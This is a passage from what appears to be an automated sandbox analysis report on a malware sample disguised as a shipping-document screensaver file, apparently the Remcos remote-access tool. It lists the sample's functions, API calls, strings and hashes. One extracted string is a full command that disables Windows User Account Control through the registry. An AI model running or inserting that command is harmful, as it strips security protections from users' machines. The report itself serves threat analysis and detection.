                                                                                        • Instruction Fuzzy Hash: 2FF0F631501228BBD711AF25EC49DFF3B6CDB45B62F00002AFE0992192EB38CD4595F9
                                                                                        Function 00442801 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 0-263838557
                                                                                        • Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                                                                                        • Instruction ID: 497cf8d2f4a88fd96e7f98feeb1d24cd381d204b534fd1f3fd6e485e43360072
                                                                                        • Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                                                                                        • Instruction Fuzzy Hash: EA413871A00704BFF324AF79CD41B5EBBA9EB88710F10862FF105DB681E7B999418788
                                                                                        Function 00404CC3 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121synchronizationthreadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
                                                                                        • CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
                                                                                        • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404DD2
                                                                                        • CloseHandle.KERNEL32(?), ref: 00404DDB
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Create$CloseEventHandleObjectSingleThreadWait
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 3360349984-263838557
                                                                                        • Opcode ID: e2f882af2a30351f686d04b3cd6d667c62da5f5effcafa466e9aedc6b7e26869
                                                                                        • Instruction ID: 465453d6db43d9529954589ba2efa69a6de0eb64d520c2048147815e962fb190
                                                                                        • Opcode Fuzzy Hash: e2f882af2a30351f686d04b3cd6d667c62da5f5effcafa466e9aedc6b7e26869
                                                                                        • Instruction Fuzzy Hash: 3E4192B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666
                                                                                        Function 0040A675 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0040A74D), ref: 0040A6AB
                                                                                        • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                                                                                        • Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                                                                                        • CloseHandle.KERNEL32(00000000,?,?,?,0040A74D), ref: 0040A6EE
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$CloseCreateHandleSizeSleep
                                                                                        • String ID: XQG
                                                                                        • API String ID: 1958988193-3606453820
                                                                                        • Opcode ID: 38e21002b9c7a7665831af374e9118a36682828a780468fd2ba8ddd7b6ab83cd
                                                                                        • Instruction ID: 2d5b847f40b6dc6d65e682cb961bc0859910b41d7418e35cc132b68a4a9af338
                                                                                        • Opcode Fuzzy Hash: 38e21002b9c7a7665831af374e9118a36682828a780468fd2ba8ddd7b6ab83cd
                                                                                        • Instruction Fuzzy Hash: AD112B30600740EEE631A7249895A5F3B6AEB41356F48083AF2C26B6D2C6799CA0C35E
                                                                                        Function 0041D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • RegisterClassExA.USER32(00000030), ref: 0041D55B
                                                                                        • CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041D576
                                                                                        • GetLastError.KERNEL32 ref: 0041D580
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ClassCreateErrorLastRegisterWindow
                                                                                        • String ID: 0$MsgWindowClass
                                                                                        • API String ID: 2877667751-2410386613
                                                                                        • Opcode ID: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                                                                                        • Instruction ID: 921741f364e14ac5d494c0d6481b3569f22aad0bbfd2e997b493b5423d792a6e
                                                                                        • Opcode Fuzzy Hash: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                                                                                        • Instruction Fuzzy Hash: 910129B1D00219BBDB00DFD5ECC49EFBBBDEA04355F40053AF900A6240E77859058AA4
                                                                                        Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
                                                                                        • CloseHandle.KERNEL32(?), ref: 004077AA
                                                                                        • CloseHandle.KERNEL32(?), ref: 004077AF
                                                                                        Strings
                                                                                        • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791
                                                                                        • C:\Windows\System32\cmd.exe, xrefs: 00407796
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseHandle$CreateProcess
                                                                                        • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                                                                        • API String ID: 2922976086-4183131282
                                                                                        • Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                                                                                        • Instruction ID: bcd6b2dc2297655d1c2a6c7a9d844aadd79638dc8707381bf3a952a3ff6736b4
                                                                                        • Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                                                                                        • Instruction Fuzzy Hash: BCF03676D4029D76CB20ABD6DC0EEDF7F7DEBC5B11F00056AF904A6141E6746404C6B9
                                                                                        Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        • C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, xrefs: 004076C4
                                                                                        • SG, xrefs: 004076DA
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: SG$C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                                                                                        • API String ID: 0-4238208768
                                                                                        • Opcode ID: aeb7ec08203138e6f15c389ffc7d883b5859742f8fda7ba0964a05b6f7ae7d1f
                                                                                        • Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
                                                                                        • Opcode Fuzzy Hash: aeb7ec08203138e6f15c389ffc7d883b5859742f8fda7ba0964a05b6f7ae7d1f
                                                                                        • Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E
                                                                                        Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EF8), ref: 00405120
                                                                                        • SetEvent.KERNEL32(?), ref: 0040512C
                                                                                        • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00405137
                                                                                        • CloseHandle.KERNEL32(?), ref: 00405140
                                                                                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                                                                        • String ID: KeepAlive | Disabled
                                                                                        • API String ID: 2993684571-305739064
                                                                                        • Opcode ID: 09248d073b904291628f2a82f92fe6a987867c86155402bef043dd91105bf09b
                                                                                        • Instruction ID: c1447ea2195e795a2fa4d382ed9a15925dec3dc8ccf256ab7d783030aa8980db
                                                                                        • Opcode Fuzzy Hash: 09248d073b904291628f2a82f92fe6a987867c86155402bef043dd91105bf09b
                                                                                        • Instruction Fuzzy Hash: 4CF06271904711BBDB103B758D0A66B7A54AB02311F0009BEF982916E2D6798840CF9A
                                                                                        Function 0041ADC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                        • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041ADF2
                                                                                        • PlaySoundW.WINMM(00000000,00000000), ref: 0041AE00
                                                                                        • Sleep.KERNEL32(00002710), ref: 0041AE07
                                                                                        • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AE10
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: PlaySound$HandleLocalModuleSleepTime
                                                                                        • String ID: Alarm triggered
                                                                                        • API String ID: 614609389-2816303416
                                                                                        • Opcode ID: b7b395eb2d8a8c6ac5b29d0703eec326aa80e776d4c85912c0c2915f52647228
                                                                                        • Instruction ID: 9c0713ce1321a11b0f254193fe9a85ef30a97b7eb59a64372af151f10574a600
                                                                                        • Opcode Fuzzy Hash: b7b395eb2d8a8c6ac5b29d0703eec326aa80e776d4c85912c0c2915f52647228
                                                                                        • Instruction Fuzzy Hash: 36E01226B44260779620377B6D4FD6F3D28DAC2B5170100BEFA0666192D9580C4586FB
                                                                                        Function 0041CD58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CDED), ref: 0041CD62
                                                                                        • GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?,?,?,?,?,?,0041CDED), ref: 0041CD6F
                                                                                        • SetConsoleTextAttribute.KERNEL32(00000000,0000000C,?,?,?,?,?,?,0041CDED), ref: 0041CD7C
                                                                                        • SetConsoleTextAttribute.KERNEL32(00000000,?,?,?,?,?,?,?,0041CDED), ref: 0041CD8F
                                                                                        Strings
                                                                                        • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CD82
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Console$AttributeText$BufferHandleInfoScreen
                                                                                        • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                                                                                        • API String ID: 3024135584-2418719853
                                                                                        • Opcode ID: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                                                                                        • Instruction ID: 0b88db63cd78dea0703aeaf814a7171c31f7e2e6e0b1944ffb711cb25cf7542c
                                                                                        • Opcode Fuzzy Hash: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                                                                                        • Instruction Fuzzy Hash: B4E04872904315E7E31027B5EC4DDAB7B7CE745713B100266FA12915D39A749C40C6B5
                                                                                        Function 0044139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 333ae2597f59f70c30e2a138da7d2dacca2148bf7cc6369c5742e0f4ac8aaabd
                                                                                        • Instruction ID: 3288ceb70b28299b768e57bc56a65f905b411dc47ae91625c595fe6b39b3afde
                                                                                        • Opcode Fuzzy Hash: 333ae2597f59f70c30e2a138da7d2dacca2148bf7cc6369c5742e0f4ac8aaabd
                                                                                        • Instruction Fuzzy Hash: 4D71C431900256ABEF21CF55C884AFFBBB5EF95350F14012BE812A72A1D7748CC1CBA9
                                                                                        Function 00444CFB Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                        • _free.LIBCMT ref: 00444E06
                                                                                        • _free.LIBCMT ref: 00444E1D
                                                                                        • _free.LIBCMT ref: 00444E3C
                                                                                        • _free.LIBCMT ref: 00444E57
                                                                                        • _free.LIBCMT ref: 00444E6E
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free$AllocateHeap
                                                                                        • String ID:
                                                                                        • API String ID: 3033488037-0
                                                                                        • Opcode ID: bf8b46b868af2ecf30d3444370171b65bdd51122b8350dbbe1b9982e260663b5
                                                                                        • Instruction ID: 75a60bec03265776b93b53542ea819fdab521e44af267d44e1f719a945e8e2e2
                                                                                        • Opcode Fuzzy Hash: bf8b46b868af2ecf30d3444370171b65bdd51122b8350dbbe1b9982e260663b5
                                                                                        • Instruction Fuzzy Hash: 5451D371A00704AFEB20DF6AC841B6673F4FF85729B14456EE819D7250E739EE01CB88
                                                                                        Function 00449365 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                                                                                        • _free.LIBCMT ref: 004493BD
                                                                                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                        • _free.LIBCMT ref: 00449589
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                                                                        • String ID:
                                                                                        • API String ID: 1286116820-0
                                                                                        • Opcode ID: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                                                                                        • Instruction ID: c95a83c4fc9d8f5f381c6ef12c4bd90d50aad01b0883e3b7d6e96279f2ead045
                                                                                        • Opcode Fuzzy Hash: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                                                                                        • Instruction Fuzzy Hash: 71511A71904205EBEB14EFA9DD819AFB7BCEF44324F10066FE51493291EB788E42DB58
                                                                                        Function 0040F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                                                                        • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F91B
                                                                                        • Process32FirstW.KERNEL32(00000000,?), ref: 0040F93F
                                                                                        • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F94E
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 0040FB05
                                                                                          • Part of subcall function 0041BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F5F9,00000000,?,?,00475338), ref: 0041BFFA
                                                                                          • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                                                                          • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                                                                        • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FAF6
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                                                                        • String ID:
                                                                                        • API String ID: 4269425633-0
                                                                                        • Opcode ID: 371d05c907dcca9c3c12ab80cf798e7523ffd5e5ecf3e3ca40c8afe2c02f4cbd
                                                                                        • Instruction ID: d179df5438ecf7187d550cf9263b6860c2801d48d571b2859f9d543a591e132f
                                                                                        • Opcode Fuzzy Hash: 371d05c907dcca9c3c12ab80cf798e7523ffd5e5ecf3e3ca40c8afe2c02f4cbd
                                                                                        • Instruction Fuzzy Hash: 784116311083419BC325F722DC55AEFB3A5AF94345F50493EF48A921E2EF385A49C75A
                                                                                        Function 00443DF9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free
                                                                                        • String ID:
                                                                                        • API String ID: 269201875-0
                                                                                        • Opcode ID: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                                                                                        • Instruction ID: 5dce3a056f7b38871bf3701478ebec2c01ef4ac0d1e4adeac0a27022f106ca0c
                                                                                        • Opcode Fuzzy Hash: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                                                                                        • Instruction Fuzzy Hash: 0741F536A012009FEB20DF78C881A5EB3F1EF89B14F2545AEE515EB341DB35AE01CB84
                                                                                        Function 0044F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetEnvironmentStringsW.KERNEL32 ref: 0044F363
                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F386
                                                                                          • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F3AC
                                                                                        • _free.LIBCMT ref: 0044F3BF
                                                                                        • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F3CE
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                        • String ID:
                                                                                        • API String ID: 336800556-0
                                                                                        • Opcode ID: 02a97bdb6e6c5d26fe886d3a9ae646317caea956d8251916105bf2d3fe3a3540
                                                                                        • Instruction ID: 8337c1946637dec1c7c9c61cb05458c13fbc509b7d73539ecc926bc10a2836fd
                                                                                        • Opcode Fuzzy Hash: 02a97bdb6e6c5d26fe886d3a9ae646317caea956d8251916105bf2d3fe3a3540
                                                                                        • Instruction Fuzzy Hash: 2301B173601755BB37211ABA5C8CC7F6A6CDAC6FA5315013FFD14C2202EA68CD0581B9
                                                                                        Function 0041C3F1 Relevance: 7.6, APIs: 5, Instructions: 67fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C510,00000000,00000000,00000000), ref: 0041C430
                                                                                        • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C44D
                                                                                        • CloseHandle.KERNEL32(00000000,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C459
                                                                                        • WriteFile.KERNEL32(00000000,00000000,00000000,00406F85,00000000,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C46A
                                                                                        • CloseHandle.KERNEL32(00000000,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C477
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$CloseHandle$CreatePointerWrite
                                                                                        • String ID:
                                                                                        • API String ID: 1852769593-0
                                                                                        • Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                                                                                        • Instruction ID: 5cb8be75c3dc4c1e2f747800af3fbfd5a98fa41e64789a84fd548ad7506a8702
                                                                                        • Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                                                                                        • Instruction Fuzzy Hash: B0110471288220FFEA104B24ACD9EFB739CEB46375F10462AF592C22C1C7259C81863A
                                                                                        Function 00448299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLastError.KERNEL32(?,00000000,?,0043BC87,00000000,?,?,0043BD0B,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0044829E
                                                                                        • _free.LIBCMT ref: 004482D3
                                                                                        • _free.LIBCMT ref: 004482FA
                                                                                        • SetLastError.KERNEL32(00000000), ref: 00448307
                                                                                        • SetLastError.KERNEL32(00000000), ref: 00448310
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLast$_free
                                                                                        • String ID:
                                                                                        • API String ID: 3170660625-0
                                                                                        • Opcode ID: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                                                                                        • Instruction ID: 817e1e76de570c2b023109a843fda652767a1b5a915d0172e9d2adf04509528a
                                                                                        • Opcode Fuzzy Hash: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                                                                                        • Instruction Fuzzy Hash: 5601F936500B0067F3112A2A5C8596F2559EBC2B7A735452FFD19A22D2EFADCC01816D
                                                                                        Function 004509BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _free.LIBCMT ref: 004509D4
                                                                                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                        • _free.LIBCMT ref: 004509E6
                                                                                        • _free.LIBCMT ref: 004509F8
                                                                                        • _free.LIBCMT ref: 00450A0A
                                                                                        • _free.LIBCMT ref: 00450A1C
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                        • String ID:
                                                                                        • API String ID: 776569668-0
                                                                                        • Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                                                                        • Instruction ID: 8e1836d4b3683ea2f551dac33bf8b94159c93f8dbbc189607f67f5fa0db289e6
